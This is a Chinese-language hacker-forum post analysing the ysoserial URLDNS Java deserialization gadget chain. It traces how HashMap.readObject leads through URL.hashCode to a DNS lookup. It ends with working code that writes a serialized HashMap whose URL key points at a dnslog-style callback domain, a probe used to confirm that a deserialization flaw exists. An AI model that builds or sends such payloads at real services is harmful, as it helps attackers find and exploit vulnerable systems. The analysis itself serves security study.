[JAVA] java安全ysoserialURLDNS利用链分析

1895 0
王子 2022-11-8 17:30:43 | 显示全部楼层 |阅读模式
目录

    JAVA序列化和反序列化的基本概念
      序列化和反序列化的类
    简单测试
      重写的readobject方法分析URLDNS的利用链方法中遍历key值执行putVal方法
        触发:URL类中的hashCode方法触发DNS请求:




JAVA序列化和反序列化的基本概念

在分析URLDNS之前,必须了解JAVA序列化和反序列化的基本概念。
其中几个重要的概念:
需要让某个对象支持序列化机制,就必须让其类是可序列化,为了让某类可序列化的,该类就必须实现如下两个接口之一:
Serializable:标记接口,没有方法
Externalizable:该接口有方法需要实现,一般不用这种
序列化对象时,默认将里面所有属性都进行序列化,但除了static或transient修饰的成员。
序列化具备可继承性,也就是如果某类已经实现了序列化,则它的所有子类也已经默认实现了序列化。

序列化和反序列化的类

ObjectOutputStream:提供序列化功能
ObjectInputStream:提供反序列化功能
序列化方法:
.writeObject()
反序列化方法:
.readObject()
既然反序列化方法.readObject(),所以通常会在类中重写该方法,为实现反序列化的时候自动执行。

简单测试
  1. public class Urldns implements Serializable {
  2.     public static void main(String[] args) throws Exception {
  3.         Urldns urldns = new Urldns();
  4.         ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("d:\\urldns.txt"));
  5.         objectOutputStream.writeObject(urldns);
  6.     }
  7.     public void run(){
  8.         System.out.println("urldns run");
  9.     }
  10.     private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {
  11.         System.out.println("urldns readObject");
  12.         s.defaultReadObject();
  13.     }
  14. }
复制代码
重写的readobject方法

对这个测试类Urldns做序列化后,反序列化的时候执行了重写的readobject方法。
  1. import java.io.*;
  2. public class Serializable_run implements Serializable{
  3.     public void run(ObjectInputStream s) throws IOException, ClassNotFoundException {
  4.         s.readObject();
  5.     }
  6.     public static void main(String[] args) throws Exception {
  7.         Serializable_run serializable_run = new Serializable_run();
  8.         serializable_run.run(new ObjectInputStream(new FileInputStream("d:\\urldns.txt")));
  9.     }
  10. }
复制代码
所以只要对readobject方法做重写就可以实现在反序列化该类的时候得到执行。

分析URLDNS的利用链

利用链的思路大致如此,那么分析URLDNS的利用链。
  1. public Object getObject(final String url) throws Exception {
  2.                 //Avoid DNS resolution during payload creation
  3.                 //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
  4.                 URLStreamHandler handler = new SilentURLStreamHandler();
  5.                 HashMap ht = new HashMap(); // HashMap that will contain the URL
  6.                 URL u = new URL(null, url, handler); // URL to use as the Key
  7.                 ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
  8.                 Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
  9.                 return ht;
  10.         }
复制代码
该类实际返回HashMap类型,但是HashMap用来用来存储数据的数组是transient,序列化时忽略数据。
因为HashMap重写了writeobject方法,在writeobject实现了对数据的序列化。
还存在重写readobject方法,那么分析readobject中的内容。

方法中遍历key值执行putVal方法
  1. private void readObject(java.io.ObjectInputStream s)
  2.         throws IOException, ClassNotFoundException {
  3.         // Read in the threshold (ignored), loadfactor, and any hidden stuff
  4.         s.defaultReadObject();
  5.         reinitialize();
  6.         if (loadFactor <= 0 || Float.isNaN(loadFactor))
  7.             throw new InvalidObjectException("Illegal load factor: " +
  8.                                              loadFactor);
  9.         s.readInt();                // Read and ignore number of buckets
  10.         int mappings = s.readInt(); // Read number of mappings (size)
  11.         if (mappings < 0)
  12.             throw new InvalidObjectException("Illegal mappings count: " +
  13.                                              mappings);
  14.         else if (mappings > 0) { // (if zero, use defaults)
  15.             // Size the table using given load factor only if within
  16.             // range of 0.25...4.0
  17.             float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
  18.             float fc = (float)mappings / lf + 1.0f;
  19.             int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
  20.                        DEFAULT_INITIAL_CAPACITY :
  21.                        (fc >= MAXIMUM_CAPACITY) ?
  22.                        MAXIMUM_CAPACITY :
  23.                        tableSizeFor((int)fc));
  24.             float ft = (float)cap * lf;
  25.             threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
  26.                          (int)ft : Integer.MAX_VALUE);
  27.             // Check Map.Entry[].class since it's the nearest public type to
  28.             // what we're actually creating.
  29.             SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
  30.             @SuppressWarnings({"rawtypes","unchecked"})
  31.             Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
  32.             table = tab;
  33.             // Read the keys and values, and put the mappings in the HashMap
  34.             for (int i = 0; i < mappings; i++) {
  35.                 @SuppressWarnings("unchecked")
  36.                     K key = (K) s.readObject();
  37.                 @SuppressWarnings("unchecked")
  38.                     V value = (V) s.readObject();
  39.                 putVal(hash(key), key, value, false, false);
  40.             }
  41.         }
  42.     }
复制代码
触发:
  1. putVal(hash(key), key, value, false, false);
复制代码
触发:
  1. static final int hash(Object key) {
  2.     int h;
  3.     return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
  4. }
复制代码
这里的key对象如果是URL对象,那么就

触发:URL类中的hashCode方法
  1. public synchronized int hashCode() {
  2.     if (hashCode != -1)
  3.         return hashCode;
  4.     hashCode = handler.hashCode(this);
  5.     return hashCode;
  6. }
复制代码
触发DNS请求:
  1. public synchronized int hashCode() {
  2.         if (hashCode != -1)
  3.             return hashCode;
  4.         hashCode = handler.hashCode(this);
  5.         return hashCode;
  6.     }
复制代码
  1. protected synchronized InetAddress getHostAddress(URL u) {
  2.         if (u.hostAddress != null)
  3.             return u.hostAddress;
  4.         String host = u.getHost();
  5.         if (host == null || host.equals("")) {
  6.             return null;
  7.         } else {
  8.             try {
  9.                 u.hostAddress = InetAddress.getByName(host);
  10.             } catch (UnknownHostException ex) {
  11.                 return null;
  12.             } catch (SecurityException se) {
  13.                 return null;
  14.             }
  15.         }
  16.         return u.hostAddress;
  17.     }
复制代码
在hashCode=-1的时候,可以触发DNS请求,而hashCode私有属性默认值为-1。
所以为了实现readobject方法的DNS请求,接下来要做的是:
1、制造一个HashMap对象,且key值为URL对象;
2、保持私有属性hashcode为-1;
所以构造DNS请求的HashMap对象内容应该是:
  1. public class Urldns implements Serializable {
  2.     public static void main(String[] args) throws Exception {
  3.         HashMap map = new HashMap();
  4.         URL url = new URL("http://ixw9i.8n6xsg.dnslogimalloc.xyz");
  5.         Class<?> aClass = Class.forName("java.net.URL");
  6.         Field hashCode = aClass.getDeclaredField("hashCode");
  7.         hashCode.setAccessible(true);
  8.         hashCode.set(url,1);
  9.         map.put(url, "xzjhlk");
  10.         hashCode.set(url,-1);
  11.         ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("d:\\urldns.txt"));
  12.         objectOutputStream.writeObject(map);
  13.     }
  14. }
复制代码
至于为什么在序列化的时候要通过反射将url对象中的hashCode属性稍微非-1,是因为hashCode的put方法也实际调用的是putVal(hash(key), key, value, false, true);
这个过程将触发一次DNS请求。
以上就是java 安全ysoserial URLDNS利用链分析的详细内容,更多关于java 安全 ysoserial URLDNS的资料请关注中国红客联盟其它相关文章!
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

中国红客联盟公众号

联系站长QQ:5520533

admin@chnhonker.com
Copyright © 2001-2025 Discuz Team. Powered by Discuz! X3.5 ( 粤ICP备13060014号 )|天天打卡 本站已运行